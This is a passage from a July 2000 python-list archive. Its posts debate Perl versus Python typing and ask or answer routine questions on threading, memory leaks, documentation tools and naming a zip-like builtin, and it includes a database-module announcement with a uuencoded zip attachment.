up in the lucrative-for-his-backers landing in unforeseen America).


Floating down from these dizzy heights, back to everyday programming:
that humans being tend to think in certain fuzzy/imprecise/ambiguous
ways is hardly a recommendation for a language intended for human
use *to interact with computers* to shy away from precision, clarity, and
sharpness, nor does it necessarily make it any less 'foolish' to do so.

Very specific analysis of the various possible trade-offs will be needed:
what levels of ambiguity are allowed, what their practical consequences
are, and so forth.

>     As a human, type 1.  Character?  String?  Integer?  Floating number?
No,
> it is 1 and it can be all of those all on context.  Types are a construct
> created to help computers deal with human concepts.  Why, then, when a

Not really: they were molded to help humans deal with *PRECISION*, well
before computers existed.  The need for such precision came from maths,
and often from its growing applications in science and technology as well.

To a human being's typically-fuzzy thinking, the number '23' and the set
containing the number '23' as its only member are basically one and the
same thing, for example.  But mathematicians found it necessary to draw
a sharp distinction between an elementary object, and the singleton set
containing that object, well before computers existed.  "CATS": is this
a 4-letter string? a set of animals? a popular musical? or an important
diagnostic technique?  Philosophers felt the needs for such precision
of concepts well before mathematicians did -- and laid the foundations
for what we can recognize today as a theory of types.

Human beings are often able to disambiguate from context -- but not
always.  One of my cherished memories is a Uniforum session, many
years ago, which was billed as being about "ATM Networks" -- keen,
like many others, to learn the latest about Asynchronous Transfer Mode
networks, I trooped into the small room and, like all others, found myself
surprised to see it packed with twice as many people as it could hold;
half of them, as it happened, the suit-and-tie kind of people, rather than
the T-shift-and-sneakers guys you could expected to be interested in
such tech exoterica, which made up the other half of the audience.  It soon
transpired that half the audience were in the room to learn the latest about
technology being applied to networks of Automatic Teller Machines, of
course.

It so happened that the context of being at a computer and networking
conference was NOT sufficient to disambiguate -- the guys from the
banking and finance sectors had quite reasonably misread 'ATM', it
being such a pervasively used acronym in _their_ world.

It was bad enough (if excessively amusing) among human beings; it
could be very serious, and potentially VERY costly, if such ambiguity
was let loose among clearly-common-sense-free computers.


> language comes along that does a darn fine job of doing the right thing by
> defining data as a scalar (it isn't a string, it isn't an integer, it
isn't
> floating point, it isn't a character, is can be all of them depending on
> context) do you call it "foolish" to think in those terms?

In my practical experience of Perl use, this can and does indeed give
rise to substantial problems.  For example, if a floating number gets
implicitly coerced to a string, and that string gets coerced back to a
number, a loss of precision is a frequent occurrence.  Of course, this
specific issue is not going to hit you on the nose until and unless you
attempt to use Perl for substantial computations.  But the general issue,
which tends to loom larger and larger as program size and complexity
grows, is that coercions are being silently, implicitly perpetrated *that
are NOT reversible*.  Whenever a pair of conversions, A->B->A,
happens implicitly and silently, and the A you end up with is NOT the
same A you started out with, then you have a problem just waiting to
show up.  By general law, it will show up when you can least afford it
do, i.e., when you have just deployed your application at your most
valuable customer's site:-).  ("Only the paranoids survive"...:-).

The ancillary costs must also be considered.  By choosing not to
distinguish between two types of data, you miss being able to use
those types to provide you with context to clarify the meaning of
the operations you perform; rather, the _operations_ must supply
the context and therefore the meaning themselves.

I.e., having 'abc' + "def" return 0 is NOT very desirable: surely the
"context" of the "+" being applied to strings should let it mean
"concatenate these strings" rather than "sum these numbers"?
They *aren't* numbers after all, are they?

But you can't have it both ways: either the operations fix the
context rigidly, and the data gets coerced (with information
loss) to fit that context; or, the data has a specific type, that can
supply the context in which the operation is performed.  Perl
picks the first alternative, and thus you must have different
operations for "concatenate these strings" and "add these
numbers", specify explicitly every time whether a scalar or
a collection (and of which kind) is being used, etc, etc.  I see
colleagues with years of experience in Perl, and enthusiastic
about the language, STILL write "@x[3] oops I mean $x[3]"
and so on.

I'm not being a Python apologist here; I think that using typed data
is preferable in most cases _but not in all_, and that Python should
let the operation determine the context, rather than the data, in a
few more cases than it currently does.  E.g., the print statement now
coerces its arguments to strings, and I consider it a good thing.  But
the operator / does integer (truncating) division on integers, and that
is a detail which I consider not optimal -- I believe it would be better
(like, say, in Pascal) to have different operators for division-with-
truncation and division-with-floating-result (the existing divmod builtin
function, actually, could perfectly well carry the burden of division with
truncation, IMHO, letting / always mean division-with-floating-result --
were it not for the need of backwards compatibility, of course, i.e. in
an abstract and hypothetical language-design-ab-ovo context).


> >character "a" (Python, sadly, lacks a proper character type);
>
>     I'd consider that a blessing.  Once less artifical construct to get in
the
> way.

Here I happen to agree with you -- since bidirectional transformation
between a character and a 1-character string yields no information
loss, and no 'intuitively-desirable' "overloads" of operations to mean
different things in the two context appear obvious, then little would be
gained in drawing the distinction.

A similar situation, IMHO, holds between integers and long-integers;
I hear that the current sharp distinction between them is going to be
somewhat relaxed in a near-future release, and that seems to be a
good thing to me.  So, you see, I'm being anything but a type-purist;
I dislike Perl's silent implicit coercion between strings and numbers
for highly pragmatical reasons, direct and consequential, borne out
by many years of practice (and tens of thousands of lines of code)
with Perl, and a few months (and thousands of lines of code) with
Python.  My pragmatical inference from this experience (and from
reasoning about it) is that keeping the distinction just works better
in most cases, although specific, constrained, motivated cases of
relaxation thereof (such as in 'print', and IMHO also in some other
cases where it is not currently applied) might be worthwhile.


> >No; "a" is a string and strings are sequences; 1 is an integer, and
> >integers are not sequences.  This particular quirk is in your head.
>
>     No, the particular quirk is in the language by forcing types.
Remember,
> all this came about because I pointed out that Python has just as much
> automagical "typing" going on as Perl does, it just limits that typing
from
> what I can see.

What "automagical typing"?  Are you referring to, e.g., "print" always
trying to turn every argument into a string in order to print it?  Yes, it
does happen, in some very specific cases.  But it's definitely not "just
as much" as in Perl, so I suspect you must be intending something else.

Just in case you're thinking of the fact that a variable can refer to
different types in different cases, why, of course -- in fact Python is
much more general in this than Perl, since the same variable can
refer to a string, number, list, tuple, dictionary, object, &c, without any
syntax quirks needed to distinguish between the various cases.  The
type is carried by the *data* being referred-to, and never by the variable
doing the referring; which is a completely different issue, with nothing
"automagical" about it (no transformation whatsoever takes place, i.e.,
no coercion -- no risk of information loss whatsoever -- etc, etc).


Alex





From stephen_purcell at yahoo.com  Thu Jul 27 19:32:52 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Fri, 28 Jul 2000 09:32:52 +1000
Subject: javadoc equivalent for python?
In-Reply-To: <3980AA2F.4E4E6E1F@seas.upenn.edu>; from dwhite2@seas.upenn.edu on Thu, Jul 27, 2000 at 05:31:27PM -0400
References: <3980AA2F.4E4E6E1F@seas.upenn.edu>
Message-ID: <20000728093252.A12152@inkontact.com.au>

David White wrote:
> 
> Is there an equivalent python application to javadoc? 

Try Laurence Tratt's Crystal package:-
 
  http://www.btinternet.com/~tratt/comp/python/crystal/

The output even looks like Javadoc (not that that's necessarily a good
thing).

My personal favourite is Ka Ping Yee's htmldoc package:

  http://www.lfw.org/python/ 

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From shouldbe at message.com  Fri Jul  7 08:29:31 2000
From: shouldbe at message.com (Arinté)
Date: Fri, 07 Jul 2000 12:29:31 GMT
Subject: Comparing 2 class types
Message-ID: <L2k95.37383$NP5.1176274@newsread2.prod.itd.earthlink.net>

How can you know if a 2 variables are different instances of the same class?
x = someclass()
y= someclass()
I tried is, type, and type(x)  is someclass, but none seem to work unless I
did it wrong.




From collins at rush.aero.org  Thu Jul  6 21:45:20 2000
From: collins at rush.aero.org (collins at rush.aero.org)
Date: Thu, 6 Jul 2000 18:45:20 -0700
Subject: [ANN] Python port to Palm Pilot
Message-ID: <200007070140.SAA31035@wd264.aero.org>


Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
available for download after 8AM PDT July7, 2000 at
http://www.isr.uci.edu/projects/sensos/python/.  This release includes 
the modified Python source and tools for creating Palm applications
from Python modules.  As a convenience, we include the gnu toolchain
required to support the Python distribution on the Palm Pilot.  
We emphasize that this is an alpha release and is deficient in many
respects.  We are releasing it now to stimulate interest in Python on
small computing platforms.  

Enjoy!





From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 14:56:47 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 18:56:47 GMT
Subject: [ANN]pre-release DBAPI2.0 for ADO
References: <B5L85.2924$EV6.75523@typhoon1.ba-dsg.net>
Message-ID: <PxL85.40906$W35.880547@news20.bellglobal.com>

Hey, this announcement made me think of a question concerning databases:  is
the DBAPI designed for exchanging recordsets between databases opened by two
different implementations?

For example, could I take your ADO cursor and assign it to a database opened
with, say, Gadfly?  (supposing they had the same table definitions)

Thanks!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Michel Orengo" <morganea at bellatlantic.net> wrote in message
news:B5L85.2924$EV6.75523 at typhoon1.ba-dsg.net...
> Hi all,
> I enclosed a very preliminary version of the DBAPI 2.0 for ADO (Microsoft
> Active X Data Object) - ADODBpy. It is built on top of another module
called
> ADOpy which give a more "pythonic" interface to ADO (I've posted this
module
> few days ago)
>
> ADODBpy is still largely incomplete (does not deal with exceptions for
> instance). It is released to get a feedback from the python community.
>
> Some examples to get you started:
>
> import ADODBpy
>
> db = ADODBpy.connect('MyDB', 'MyUser', 'MyPassword')
> cur = db.cursor()
> cur.execute('select * from mytable')
> tup = cur.fetchone()
>
> #now because it is build on top of ADOpy, we can access also the
> properties/methods of the
> #underlying ADOobject
> print db.provider
> print cur.fields.Item('col').Value
> # or better:
> print cur['col']
>
> Hope this help.
> Cheers,
> Michel
>
>
>




From nobody at nowhere.nohow  Fri Jul 28 21:34:58 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:34:58 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o4d62.abr.nobody@isis.visi.com>

In article <slrn8o449h.49c.grey at teleute.rpglink.com>, Steve Lamb wrote:

>    Neither cruel or jest.  I consider "Automagic" coversion on the same vein
>as "Winblows".

I've never thought "automagical" was derogitory.  Rather it describes
something that is done using contextual information and heuristic rules to
"guess" at what should be done when there less information that might be
needed to do something determinstically.

-- 
Grant Edwards                   grante             Yow!  I don't know WHY I
                                  at               said that... I think it
                               visi.com            came from the FILLINGS inmy
                                                   read molars...


From ingo.adler at synacon.ch  Sun Jul  2 13:15:43 2000
From: ingo.adler at synacon.ch (Ingo Adler)
Date: Sun, 02 Jul 2000 18:15:43 +0100
Subject: Memory leaks
Message-ID: <395F78BF.CBEAA090@synacon.ch>

Hi,

I have some simple Python-Code which generated memory leaks (ca. 4MB):
(The real code is more complicated, but I could strip it down to this
simple example = the smallest example with the memory leak.)
//---------------------------
x = X()

for i in range(100000):
    y = x.getY()
    y.getNumber()
//---------------------------

It doesn't generate memory leaks when:

//---------------------------
x = X()

y = x.getY()
for i in range(100000):
    y.getNumber()
//---------------------------

or

//---------------------------
x = X()

for i in range(100000):
    y = x.getY()
//---------------------------

So getY and getNumber don't generate memory leaks on their own.

Details:

X and Y are implemented in C++ and connected to python via Swig-Shadow
classes.

The Implementation of  X:

class X {
    Y* pY;
public:
    X() {
        pY = new Y;
    }

    ~X() {
        delete pY;
    }

    Y* getY() {
        return pY;
    }
};

The Implementation of Y:

class Y {
    float getNumber() {
        return 3.4;
    }
};

The wrapper code it generated straight forward - nothing special,
nothing hidden.

I use Python 1.5.2, Borland C++ Builder 5.0 with statically linked
Python. My code is much bigger and works pretty well - except the memory
leaks. So the basic integration works.

I hope someone has a solution!

Ingo
-------------- next part --------------
A non-text attachment was scrubbed...
Name: ingo.adler.vcf
Type: text/x-vcard
Size: 338 bytes
Desc: Card for Ingo Adler
URL: <http://mail.python.org/pipermail/python-list/attachments/20000702/807a33a5/attachment.vcf>

From yw at alabanza.net  Mon Jul 24 12:31:05 2000
From: yw at alabanza.net (ye, wei)
Date: Mon, 24 Jul 2000 12:31:05 -0400
Subject: Python questions from C/Perl/Java programmer
Message-ID: <397C6F49.7BEBB207@alabanza.net>

I'm a programmer and have C/C++, Perl, Java, PHP experience, now I'm
interested
in Python now. I spent a day to learn the Python, it's a cool language,
however I have the following
questions:

1. Why not use {}?!
def f:
    ...
why not use {} like this:
def f {
    ...
}

I'm almost couldn't bear with it?! {} is not difficult to be added,
however it can make sure the
logic is correct. It's easy and simple. SPACE and TAB mixed may cause
problem in Python script, consider use 'vi', it's hard to write Python
script.

The other problem is if you want to added a new condition in a complex
already existed condition statement,
e.g. In the following example, If you want to added a new 'if' between
line 1 and 2, you have to add TAB from Line 2 to 199,
it's difficult to make sure you don't make mistake. (The case may be
more complex as the example which I give).

1     if() :
2        if():
3           ....
             ....
             ....
100   else:
             ...
200else :
         ...

2. Why variable doesn't have to be declared before use?
Perl and PHP variables don't have to be declared before use, it's easy,
however
if a variable happens to be spelled wrong, it takes time to found it. In
the other word -
it causes to more time on testing and debug.
This is why perl 'use strict' come out and obviously we benefit from it
a lot.
In perl, if you use 'strict' package, you need declare variable before
use it, or
your script couldn't run. for example:
#!/usr/bin/perl
use strict;
my $i;
$i=...


I like variable need to be declared before use, alos perfer the declare
with type, e.g.
int i;
object x;
def f ( object x, int i):

Is this hard to be implemented in script language?

Thanks for advance!

--

Sincerely,

Wei Ye






From bellamy at freesurf.fr  Sun Jul 16 11:15:32 2000
From: bellamy at freesurf.fr (Bellamy Bruno)
Date: Sun, 16 Jul 2000 17:15:32 +0200
Subject: Newbie question: PyOpenGL installation
Message-ID: <3971D194.1A951464@freesurf.fr>

I'd like to use OpenGL for Python with Linux, but I'm really confused
with the installation.
I'm used to RPMs, or installing software from sources in .tar.gz format
with the regular './configure', 'make', and 'make install', but I just
can't understand the explanations on PyOpenGL web site.
If anyone who did it OK could give me a little help, that would be just
great (or if there's a RPM installation package for PyOpenGL somewhere
on the planet...).

Thanks a lot.



From rumjuggler at cryptarchy.org  Thu Jul 20 18:49:33 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Thu, 20 Jul 2000 22:49:33 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature> <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com> <397746AE.3CCDD423@schneider-kamp.de>
Message-ID: <700fnsknn7k7fp22au924m2cprk04ghfic@4ax.com>

On Thu, 20 Jul 2000 18:36:31 +0000, Peter Schneider-Kamp
<peter at schneider-kamp.de> wrote:

>Dennis Lee Bieber wrote:
>> 
>>         It's silly, but has anyone considered
>> 
>>         marry()
>> 
>> or
>> 
>>         partner()
>> 
>> as names for the function?
>
>It's not that silly. An older proposal favored marry().
>
>But imho marry() and partner() implicate the zipping
>of two lists (even stronger than the zipper zip()).
>
>OTOH somebody mentioned that it would be a great
>political statement. Marriage of an arbitrary number
>of arbitrary types (read: genders).

On the other hand, if it were marry(), then you could do all sorts of fun
stuff:

>>> def marry(*sequences):
	length = len(sequences[0])
	results = []
	for i in range(length):
		results.append([])
	for sequence in sequences:
		for i in range(length):
			results[i].append(sequence[i])
	return tuple(results)

>>> def divorce(sequence, num_results=2):
	results = []
	length = len(sequence)
	if length % num_results <> 0: raise Exception
	for i in range(num_results):
		results.append([])
	for i in range(length):
		results[i % num_results].append(sequence[i])
	return tuple(results)

>>> marry([1,3,5],[2,4,6])
([1, 2], [3, 4], [5, 6])
>>> divorce([1,2,3,4,5,6])
([1, 3, 5], [2, 4, 6])




From blinocac1 at home.com  Mon Jul 10 17:29:09 2000
From: blinocac1 at home.com (David L. Heald Jr.)
Date: Mon, 10 Jul 2000 21:29:09 GMT
Subject: Compiling Python
Message-ID: <Fera5.15213$6y5.13256073@news2.rdc2.tx.home.com>

Does anyone know if there is a compiler available anywhere for python for
win32?




From see at below  Mon Jul 31 23:06:21 2000
From: see at below (Paul Foley)
Date: 01 Aug 2000 15:06:21 +1200
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com> <B5AA2FB3.6F04%dgoodger@bigfoot.com> <m2lmyjrr7e.fsf@mycroft.actrix.gen.nz> <8m5a74$gp1$1@news.dtc.hp.com>
Message-ID: <m2u2d54r4i.fsf@mycroft.actrix.gen.nz>

On 1 Aug 2000 01:47:16 GMT, (Greg Weeks) wrote:

> : Yes, exactly.  "Pass by whatever" has never really applied to
> : Lisp-like call semantics, Greg Weeks' protestations about "the old way
> : of speaking" notwithstanding.

> Again, these are words that you like to use.  Winston and Sussman like
> different words (eg, that Lisp is call by value).  Are you saying that they
> are flat-out wrong to use those words?

OK: Yes, they're flat out wrong to call it "call by value"!  But let
me qualify that by adding: given that some people will read that to
mean what it means in Pascal.  However, several people have suggested
"call by object" as a good name for what's actually happening, and I
see no good reason to distinguish between "objects" and "values", so
"call by value" is actually a perfectly good description -- it just
doesn't mean quite what you want it to mean.

-- 
And ?lc ?ara ?e gehier? ?as min word, and ?a ne wyrc?, se bi? gelic ??m
dysigan menn...

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From victor at prodigy.net  Fri Jul 14 23:05:02 2000
From: victor at prodigy.net (Victor Muslin)
Date: Sat, 15 Jul 2000 03:05:02 GMT
Subject: using threading module
Message-ID: <396fd2ff.3598724@news.prodigy.net>

I tried using the threading module with the following simple program:

	#!/usr/bin/python

	from threading import *

	reps = 10

	def f1(msg='xxx'):
		for i in range(0, reps):
			print 'f1', msg, i

	t1 = Thread(target=f1,args=('bar'))
	t1.start()

For some reason it barfs with the following trace that, being rather
new to Python looks pretty nasty to me:

	Exception in thread Thread-1:
	Traceback (innermost last):
	  File "E:\Apps\Python_1.5.2\Lib\threading.py", line 376, in __bootstrap
	    self.run()
	  File "E:\Apps\Python_1.5.2\Lib\threading.py", line 364, in run
	    apply(self.__target, self.__args, self.__kwargs)
	TypeError: too many arguments; expected 1, got 3

However, when I do not pass the "args" parameter to the Thread constructor, as
in:
	t1 = Thread(target=f1)

Yet I've seen example where parameter(s) had been passed like that. What is
going wrong? I am using Python 1.5.2 on Windows NT machine.

TIA


From robin at jessikat.fsnet.co.uk  Wed Jul 19 06:53:56 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 19 Jul 2000 11:53:56 +0100
Subject: generator.py
References: <OFEYybAL1Id5EwVv@jessikat.fsnet.co.uk>
Message-ID: <xshtMIAEjYd5EwRj@jessikat.fsnet.co.uk>

In article <OFEYybAL1Id5EwVv at jessikat.fsnet.co.uk>, Robin Becker
<robin at jessikat.fsnet.co.uk> writes
>has anyone go the generator.py from starship; the link there seems
>broken.
duh! it's in demos/threads duh :Q
-- 
Robin Becker


From hei at adtranzsig.de  Mon Jul 17 05:17:22 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Mon, 17 Jul 2000 11:17:22 +0200
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
References: <963764534.1476580377@news.demon.co.uk> <3971F055.68CD6897@prescod.net>
Message-ID: <8kuj13$20i$1@desig-bs01-s04.adtranzsig.de>

There's also some thing called Visual or Visual
Python by David Scherer. See the edu-sig archives
for details. Call it "optisches Python", that's german
and surely not trademarked. (When we germans
seek a product name, we always come up with
an english one because that's modern so we wouldn't
ever trademark anything that contains a word in our
native language. So you're secured.)

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Paul Prescod" <paul at prescod.net> schrieb im Newsbeitrag
news:3971F055.68CD6897 at prescod.net...
> Phil Thompson wrote:
> >
> > ...
> >
> > The Visual Python home page is at
http://www.thekompany.com/projects/vp/.
>
> Be careful. When I worked at Watcom we tried to make "Visual REXX" to
> hear that some other company (not Microsoft, but obviously related to
> Microsoft) had a trademark on Visual X where X is a programming
> language. Microsoft licenses the name and other people are supposed to
> also.





From morganea at bellatlantic.net  Wed Jul  5 14:26:41 2000
From: morganea at bellatlantic.net (Michel Orengo)
Date: Wed, 05 Jul 2000 18:26:41 GMT
Subject: [ANN]pre-release DBAPI2.0 for ADO
Message-ID: <B5L85.2924$EV6.75523@typhoon1.ba-dsg.net>

Hi all,
I enclosed a very preliminary version of the DBAPI 2.0 for ADO (Microsoft
Active X Data Object) - ADODBpy. It is built on top of another module called
ADOpy which give a more "pythonic" interface to ADO (I've posted this module
few days ago)

ADODBpy is still largely incomplete (does not deal with exceptions for
instance). It is released to get a feedback from the python community.

Some examples to get you started:

import ADODBpy

db = ADODBpy.connect('MyDB', 'MyUser', 'MyPassword')
cur = db.cursor()
cur.execute('select * from mytable')
tup = cur.fetchone()

#now because it is build on top of ADOpy, we can access also the
properties/methods of the
#underlying ADOobject
print db.provider
print cur.fields.Item('col').Value
# or better:
print cur['col']

Hope this help.
Cheers,
Michel


begin 666 ADODBpy.zip
M4$L#!!0``@`(`%QOW"@DOGOS3 0``(P-```(````041/<'DN<'G-5LUNXS80
MO@?(.TR=@^3&$;+;4X.F11JG0 Y)C'3;+1H8`DV-8VYE4B#I.%KTF?H0^V0[
M)!69EI5NVAQ:(0ADSO_WS0QU`$=?>O;W#N!L?%/5)W#!3 V7TJ*>,XXP5]I)
MG,)+O#B]]UI8BQ)F-5P)OL 2;C3*>Y7!9#4K!8>Q6C(A,Z=[K>!<5;46]PL+
M(Y *;MVK at 5LTJ!^P& &3A3M_S[1FT at HTL%XP:Q0^H,Z:D/1JA))PG+W=WZ.#
M`WBW$ :6JEB5"(*JD84!JZ#2ZD$4"(QD&F%0U7:AI. #KQ1*)K50L<<$3ET5
M6ADUMY_^@C-NQ0/^1F]C9AG<S#X at MV83DOZ8!'QDRXHBSYC!`E9&R'N0S%E"
MB,C5<A/QQ)N+9:6TA;60W[PE<<9+@=)Z$9>2TNA(LK$P%;-\D2:4YOC'[%Q)
M2<D0#LGPR2R;:%6A=K"E`Y_QSVJE.0Z&V:^L7"&Y3:YJ)W"I)KUFOQ 3<#F.
M3=S1-5NV!EOZ$V;,6NDB-IB8M2XV[F\JE&E(4AM+"N[PXA'YRF*:&"RI#O@:
MYII at NJK?L5F)34WSLB!U,LI^$E at 6)DVX*M\D0SC at A#LKC8(9GFS4TN&3AC>O
M-*'NI$UJVU9!NF/E+:_5>@1V at 6"H;N+"+IJ)B<GS)Q%E_G=$3+HAIB#,`Q?/
M<; BD"_'?7#+K&HP[L%6=;$-2=PB)WV#-G5*^ 6L.V#?!32FVQBVV)P9J-4*
M')8&,01T[:UI_C at -K%$$F5D00A34A)$ND& /.#I4BUJR)>V&JFTD8&&LQ-PI
MU+!&&EAC:8IBK88;2^SUN2"3`@F0PDT at +0@7:C )2T /LF9NR;O39)R2-6+F
M!K?VJE1U&9@#Y2<]:G2W:/;W&N*-)5#N1Z"Q/6H'O3W9&>W]O=R1:!S(F)&D
M$B5QDOXP^6Y=?']W=O3[U/\[_#.\LZ./QT??3@^'KB_W]WA)70`YP>W?J!.!
MG at +GD.?W2$A9G><I,3RGS4KM,VPTW).[`XH;$L]6%565NK.[X^GPT+^\.9EN
M]*VN(VOW/#2SW43R<3+*)0`U\@&&VR8:[4K+8+F1X"/'BF:'G(@9->6%UDIW
M at G72_:"$3 -VV5S(@I5E&@*.$D at Z47=3C]/?3CM>9,%A6!2[]OVU1/6T_#MB
M<^PIRKMAPF"G]C2"+K!I>M@<A=@QJ?^8U1YLS-_0^10RLOAOR'L9:13RM?3X
M0'E>"&[S_,[YGFY[]?QP1E=&8*9-*N9EVTO2ZB33L)[#K\[X"HO+EO _L(X=
M-LUWWJZG2U+N4$9WF+.*-D5T#[5+8[BU-804MHW9?"OITR1Y<3'/?J,,NM\H
M at XAH6O%/P> KNM&2G9[LTAUT3UNSN,CEDNZ7%U78NCR]5G)KDBBC5NB^Z9R\
M+ZE_CX//, at 8!2],?PG?7IJ\VI6ZN]/]WL6V>KRNWT^VOJ_F96-'*;==MS^"9
MG049-LXP+B=8;9?X&5!+`P04``(`" !K8N4H!G'^:A\'``!O% ``"@```$%$
M3T1"<'DN<'FU5VU/X\86_ at P2_^&4B.+T>JV$95^*RI5@`[V1N@$!V]6JJJ*)
M/4GFKNWQSHQATU_?<V8\SCAA6?JA"(%]SC/G;<Z;>_#B>S][NSTX&UV-SJ\_
MG<"(&39CFL/9]1B.D@',I2(N at 9XCB7 ?E3"&ES!;P7N1+GD.5XJ7"YG =3W+
M10HC63!1)H2=2'@GJY42BZ6!&$H)-_2HX89KKNYY%@,K,Z)_9$JQT at BNX6')
MC);\GJND48F/6L at 2!LEP;W=O5Q255(;LKE;0$Z7A:LY2#@_"+)TW#<*L*JYC
M\IK?B8)#C]R=B3(3Y<(J3F5I5)T:J30)WMLU2\59IMF<FQ6<PA!ZI32@:\7!
M+(4&_,4#W,:-Y3E42MZ+C--Q5HD<C<[QV#Z&=G]OMV**%=JL<DZT+P53G_=)
M20^#4NJU8K(/$=[,A![V=JW%`97^.*HVK*@V69;H9%TJ6=R)]+/>%-HRG)Q'
M<1U&H.^;X"[7A3'C<PI1P4Q4]4_V=G?$')9,,V-45,6'EY9U:#D[BIM:E5 E
MCAKM'WQZ<5"\.,C at X'\G!^]/#F[W^XCCN>8=O->38_*9I9PWFHQ:A3#D(H/.
M?TUY94+61);<F=L[%R53=.&S>C[GRE'3G&D-MP83A:GL0BFIH at LK!7/1ZJH0
MX'&8P"6F5=3!;Z&<E*<Q8Y_0C<I'0;Z2OX=Q_ YZ"W=5<<7(*98_!T[V+; )
MK)X+5L\4?*WD`BNFP# ^!SZ1YK:NJ-!Y]C1^?9NC<^Q\=]@6KF;_YZE-!\JA
MZ524PDRGD>;Y//[IGN4UURX]B9(X`N:'>VA/I47E#TFSY$XG);M]`U%"<-SR
M?/(-.L!?OHD;TDN;^Y[ZPO;!V[N;\>17JL>N5Y&%X@\,CWZ.H<>R=TNF6N+1
M8&B)O\ER\3M3'=[;&(!XYRB[);XYBBWQUP_CT5KTP!%MK /9+T/9'SO"AR\'
M]DB7BL5Y/IZ<W7QZVI&W5JXKU$#=L26CJBW.*P@,V>"BSLF']^<7-T_J/'8>
MCG at J"I:W]%=-C$82YQUOR2\;LBT/'G@]=&+.I<PY*UOZZP;_KE8X/]-5$"9W
M/Y.ZX$JD+?VX.7"+]1'H/?)DM#%'Y6LYKYWB.U&N0OI18]"'4HM%R3&FB\ZQ
MG[OL#N]ME[>M\PUT`)NZ,?"CL[N+N_'[BZ="_\:'V$["-BXNMT;G&^3CANPF
M9$M^%9!OW71L>/#ZV(J_Q(G=.01DX,W5Q_'H*>M0]NNFJBKL;K at Y@=T2I%L4
MV$S6QJT+.&&2)/$'^V$GPA6 at 1*G8=2.[R"1K0M^WI=217(.!3)<QU+ at WQ4!M
M[4&J+&A1LL))]QBDE86-U8D*3CGJ':Y>.O)()?-\QM+/FUA/[Z+36FELO<[$
MDA7\]! '.] I9&$8WSD`L?H--6'HYSU?>XPPJP(C(6VP at S&-^"!J3IB/6%'@
M((W=VPU/T5W-3?_QKKXVCH1W)"0=9!_OENZ/PXPO! UU$.90`[,Q1'C3NDD>
M_' *AX>N-UL/+/'4\MK T6J[TN(O8 at Q;:L9UJD35N.^6D3;2#ZFL2X-TZO0N
MSEAIN&VFC3/T2$IB^,FNF1P3,9Q8_"M/:\.C-6X-B^'8WYZ'.:'2+P(A^O2/
M/V/O.57#Z7 C?XC.OY*Q[?DM/IY#?O#F+MC>&#+\-+3;VMH=^"\,7&S71$07
MK(K<=AG:V7<#4B.Q$\38QG8KPY*+QO7&BBU1P=#=DOE=:?W&(3R:7 J>9QIS
MC0YBO at R:;QYCN1=7ET'Z3%.F381T3,*)?,#$PR3$L'%*/^4SW.+]HKN=,^[=
M at JU2BPKVWYUF+=K9SD2\;$NG[QM!^PO6^L*E1S(/_. at W@BS-JVP`8\.+2+CK
MV&GJP;*2"?.]EK[,IJG,^"-]UF&)T,C(A*YRMIHV)>3X(SX7-(&0YE"BV32[
ML+/4U"Q?HRJ,B]"NYASBVE.:8&*A!1:[&7Q+Q,:A.L^G\O-:`7[3B!E>O88?
M8?#U:& '2YZ-]021K-T0-B.=L H[=A9%KCK;@&"?#]R-H>-6[$>)G4.M+YB=
M9""V.&=<?Z.\L>A6VR6N^9>IG$_#OO"OE+E%H*VHB&>^!6[4/N5;4.-V<=ZP
M+JB29Q>Q_0[E)EUB!PC&65LZ6*%6(!4A=#X+NP6SP<J%ICBX6GFL5"ZW2X7.
M^#L/,4VU)+_3[M]OXU7(>S[!<-LYZ_6;NLIY1)(ZS at 772TER.F@_0UPI8(Q/
MFD?H#J0M9X2_$&PG;5G[`%I3'I:X-$%$?%QPJ(M15/JVIT6"OF10[B,^XP%7
MSJ1"P']<&GQ;C_]^1Q&AKS@%@XOLV/X=DS<L?L+"?V 3-F-15K4AIW5P!^$H
MGMK2I52W_]<G<4ULC at 8GJ0CSNL E$'J026XM7M(20HE6R@>2ZS]KPR41=S_<
M;F+:_NB_W__\QI.6U/*"K;/OB$EP_K'=T6]A)5;[WU!+`0(4`!0``@`(`%QO
MW"@DOGOS3 0``(P-```(``````````$```"V at 0````!!1$]P>2YP>5!+`0(4
M`!0``@`(`&MBY2@&<?YJ'P<``&\4```*``````````$`( "V at 7($``!!1$]$
<0G!Y+G!Y4$L%!@`````"``(`;@```+D+````````
`
end



From nolan_d at bigfoot.com  Wed Jul  5 20:13:16 2000
From: nolan_d at bigfoot.com (Nolan Darilek)
Date: Wed, 05 Jul 2000 19:13:16 -0500
Subject: Nonblocking input
Message-ID: <E139zI4-0004Gw-00@localhost>

I tried to send this earlier, but after consulting the archives, it
didn't appear as if it made it. So now I'm subscribed and I'll try
again. :)

I'm trying to do nonblocking input with Python, but without using
